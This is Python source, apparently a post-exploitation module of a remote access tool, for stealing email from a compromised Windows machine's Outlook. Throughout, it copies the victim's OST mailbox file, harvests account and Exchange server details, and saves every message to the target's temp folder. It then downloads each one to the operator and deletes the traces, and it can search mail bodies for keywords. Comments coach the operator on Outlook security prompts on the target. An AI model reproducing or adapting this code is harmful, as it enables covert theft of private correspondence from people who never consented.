def run(self, args): ''' ''' self.client.load_package("outlook") localFolder=args.localOutputFolder self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'].encode('utf-8'), self.client.desc['user'].encode('utf-8'), self.client.desc['macaddr'].encode('utf-8').replace(':',''))) if not os.path.exists(self.localFolder): logging.debug("Creating the {0} folder locally".format(self.localFolder)) os.makedirs(self.localFolder) if args.folderId != None: self.warning('Notice the folder Id option will be used and the default folder option will be disabled') outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType) if args.downloadOST == True: self.success("Trying to download Outlook OST file of the targeted current user") paths = outlook.getPathToOSTFiles() if len(paths)>0: localPath = os.path.join(self.localFolder, ''.join(l for l in paths[0][0].encode('ascii','ignore') if l.isalnum())) self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath)) download(self.client.conn, paths[0][1], localPath) self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath)) else: self.error("OST file not found or an error occurred") if outlook.outlookIsInstalled() == True: self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...") if outlook.connect() == True: self.success("Connected to Outlook application through MAPI") else: self.error("Impossible to connect to Outlook application through MAPI. Aborting!") return else: self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!") return if args.information == True: info = outlook.getInformation() for key, value in info.iteritems(): self.success("{0}: {1}".format(key, value)) if args.foldersAndSubFolders == True: self.success("Outlook folders and subfolders:") foldersAndSubFolders = outlook.getAllFolders() for i,folder in enumerate(foldersAndSubFolders): print "{0}: {1}".format(i, folder.encode('utf-8')) for j,subFolder in enumerate(foldersAndSubFolders[folder]): print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8')) if args.numberOfEmails == True: self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder)) nb = outlook.getNbOfEmails() self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb)) if args.downloadAllEmails == True: self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder)) nb = outlook.getNbOfEmails() if nb == 0: self.error("This box is empty. You should choose another Outlook folder") else: self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder)) self.success("You can use msgconvert for reading these emails locally") self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.") self.warning("Notice if an antivirus is installed on the target, you should be able to download emails without a security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)") logging.debug("Downloading all emails") for i, anEmail in enumerate(outlook.getEmails()): aPathToMailFile, filename = outlook.getAMailFile(anEmail) sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,outlook.getNbOfEmails(), colorize("[+] ","green"))) sys.stdout.flush() localPathToFile = os.path.join(self.localFolder, filename) logging.debug("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile)) download(self.client.conn, aPathToMailFile, localPathToFile) logging.debug("Deleting {0}".format(aPathToMailFile)) outlook.deleteTempMailFile(aPathToMailFile) print "\n" self.success("Download completed!") if args.search == True: self.success("Searching '{0}' in emails stored in {1} folder...".format(args.strings, args.outlookFolder)) localPathToFile = os.path.join(self.localFolder, "research.txt") emails = outlook.searchStringsInEmails(strings=args.strings, separator=',') if len(emails) > 0: self.success("{0} emails found with {1}".format(len(emails), args.strings)) else: self.error("{0} emails found with {1}".format(len(emails), args.strings)) f = open(localPathToFile,"w") for i, anEmail in enumerate(emails): f.write("-"*100+'\n') f.write("[+] Email {0}\n".format(i)) f.write("-"*100+'\n') f.write("Subject: {0}\n".format(anEmail['subject'].encode('utf8'))) f.write("Body: {0}\n".format(anEmail['body'].encode('utf8'))) self.success("Research completed!") self.success("See the following file for results: {0}".format(localPathToFile)) f.close()
class outlook(): ''' ''' OL_SAVE_AS_TYPE = { 'olTXT': 0, 'olRTF': 1, 'olTemplate': 2, 'olMSG': 3, 'olDoc': 4, 'olHTML': 5, 'olVCard': 6, 'olVCal': 7, 'olICal': 8 } OL_DEFAULT_FOLDERS = { 'olFolderDeletedItems': 3, 'olFolderDrafts': 16, 'olFolderInbox': 6, 'olFolderJunk': 23, 'olFolderSentMail': 5 } OL_ACCOUNT_TYPES = { 4: 'olEas', 0: 'olExchange', 3: 'olHttp', 1: 'olImap', 5: 'olOtherAccount', 2: 'olPop3' } OL_EXCHANGE_CONNECTION_MODE = { 100: 'olOffline', 500: 'olOnline', 200: 'olDisconnected', 300: 'olConnectedHeaders', 400: 'olConnected', 0: 'olNoExchange' } def __init__(self, module, rootPupyPath, localFolder="output/", folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG', autoConnectToMAPI=True): ''' ''' self.module = module self.outlook = None self.mapi = None self.localFolder = os.path.join( localFolder, "{0}-{1}-{2}".format( self.module.client.desc['hostname'].encode('utf-8'), self.module.client.desc['user'].encode('utf-8'), self.module.client.desc['macaddr'].encode('utf-8').replace( ':', ''))) self.foldersAndSubFolders = None self.folderId = folderId self.folderIndex = folderIndex self.msgSaveType = msgSaveType self.inbox = None self.constants = None self.sleepTime = sleepTime self.remoteTempFolder = self.module.client.conn.modules[ 'os.path'].expandvars("%TEMP%") if autoConnectToMAPI == True: self.__connect__() if not os.path.exists(self.localFolder): logging.debug("Creating the {0} folder locally".format( self.localFolder)) os.makedirs(self.localFolder) def __connect__(self): ''' Returns True if no error Otherise returns False ''' self.outlook = self.module.client.conn.modules[ 'win32com.client'].Dispatch("Outlook.Application") #self.outlook = self.module.client.conn.modules['win32com.client.gencache'].EnsureDispatch("Outlook.Application") self.mapi = self.outlook.GetNamespace("MAPI") if self.folderId == None: self.setDefaultFolder(folderIndex=self.folderIndex) else: self.setFolderFromId(folderId=self.folderId) return True def close(self): ''' ''' logging.debug("Closing Outlook link...") self.outlook.Quit() def getInformation(self): ''' Returns Dictionnary ''' info = OrderedDict() info['CurrentProfileName'] = self.mapi.CurrentProfileName #info['CurrentUserAddress']=repr(self.mapi.CurrentUser) #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout info['SessionType'] = self.outlook.Session.Type for i, anAccount in enumerate(self.outlook.Session.Accounts): info['Account{0}-DisplayName'.format(i)] = anAccount.DisplayName info['Account{0}-SmtpAddress'.format(i)] = anAccount.SmtpAddress info['Account{0}-AutoDiscoverXml'.format( i)] = anAccount.AutoDiscoverXml info['Account{0}-AccountType'.format(i)] = self.OL_ACCOUNT_TYPES[ anAccount.AccountType] #info['Account{0}-UserName'.format(i)]=anAccount.UserName #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout info[ 'ExchangeMailboxServerName'] = self.mapi.ExchangeMailboxServerName #Returns a String value that represents the name of the Exchange server that hosts the primary Exchange account mailbox. info[ 'ExchangeMailboxServerVersion'] = self.mapi.ExchangeMailboxServerVersion #Returns a String value that represents the full version number of the Exchange server that hosts the primary Exchange account mailbox. info[ 'Offline'] = self.mapi.Offline #Returns a Boolean indicating True if Outlook is offline (not connected to an Exchange server), and False if online (connected to an Exchange server) info['ExchangeConnectionMode'] = self.OL_EXCHANGE_CONNECTION_MODE[ self.mapi.ExchangeConnectionMode] self.mapi.SendAndReceive(True) print repr(self.mapi) return info def __getOlDefaultFoldersNameFromIndex__(self, folderIndex): ''' Return None if folderIndex not found in OlDefaultFolders Otherwise returns Name of the folder ''' found = False for k in self.OL_DEFAULT_FOLDERS: if self.OL_DEFAULT_FOLDERS[k] == folderIndex: return k return "" def setDefaultFolder(self, folderIndex=None): ''' See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex Return True if done Otherwise returns False ''' if folderIndex == None: folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox'] folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex) if folderName == None: logging.warning( 'Impossible to move the default folder to {0}. This folder index is not in {1}' .format(folderIndex, self.OL_DEFAULT_FOLDERS)) return False else: logging.debug( "Moving outlook default folder to {0}".format(folderName)) self.inbox = self.mapi.GetDefaultFolder(folderIndex) return True def setFolderFromId(self, folderId): ''' See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex Return True if done Otherwise returns False ''' if folderId == None: logging.error("Impossible to set Outlook folder to None") return False else: logging.debug( "Moving outlook default folder to {0}".format(folderId)) self.inbox = self.mapi.GetFolderFromID(folderId) return True """ def getAnEmail(self, nb): ''' nb: number of the email nb>=1 ''' return self.inbox.Items[nb] """ """ def getEmailsWithSubject(self, subject): ''' Returns a list which contains all emails (mailItem objects) when subject is in the email subject ''' emails = [] for anEmail in self.inbox.Items: if subject in anEmail.Subject: emails.append(anEmail) return emails """ def getEmails(self): ''' Returns a list which contains all mailitems ''' emails = [] logging.debug("Getting {0} emails...".format(self.getNbOfEmails())) for anEmail in self.inbox.Items: emails.append(anEmail) return emails def downloadAnEmail(self, mailItem): ''' ''' ctime, subjectCleaned, receivedTime, path, filename = str( time.time()).replace('.', ''), "Unknown", "Unknown", "", "" try: subjectCleaned = ''.join( l for l in mailItem.Subject.encode('ascii', 'ignore') if l.isalnum()) receivedTime = str(mailItem.ReceivedTime).replace('/', '').replace( '\\', '').replace(':', '-').replace(' ', '_') except Exception, e: logging.warning( "Impossible to encode email subject or receivedTime:{0}". format(repr(e))) filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg') path = self.module.client.conn.modules['os.path'].join( self.remoteTempFolder, filename) logging.debug( 'Saving temporarily the email on the remote path {0}'.format(path)) #mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG']) mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType]) try: self.module.client.conn.modules['os'].rename( path, path) #test if the file is not opened by another process except OSError as e: time.sleep(self.sleepTime) logging.debug("Downloading the file {0} to {1}".format( path, self.localFolder)) download(self.module.client.conn, path, os.path.join(self.localFolder, filename)) logging.debug("Deleting {0}".format(path)) self.module.client.conn.modules.os.remove(path)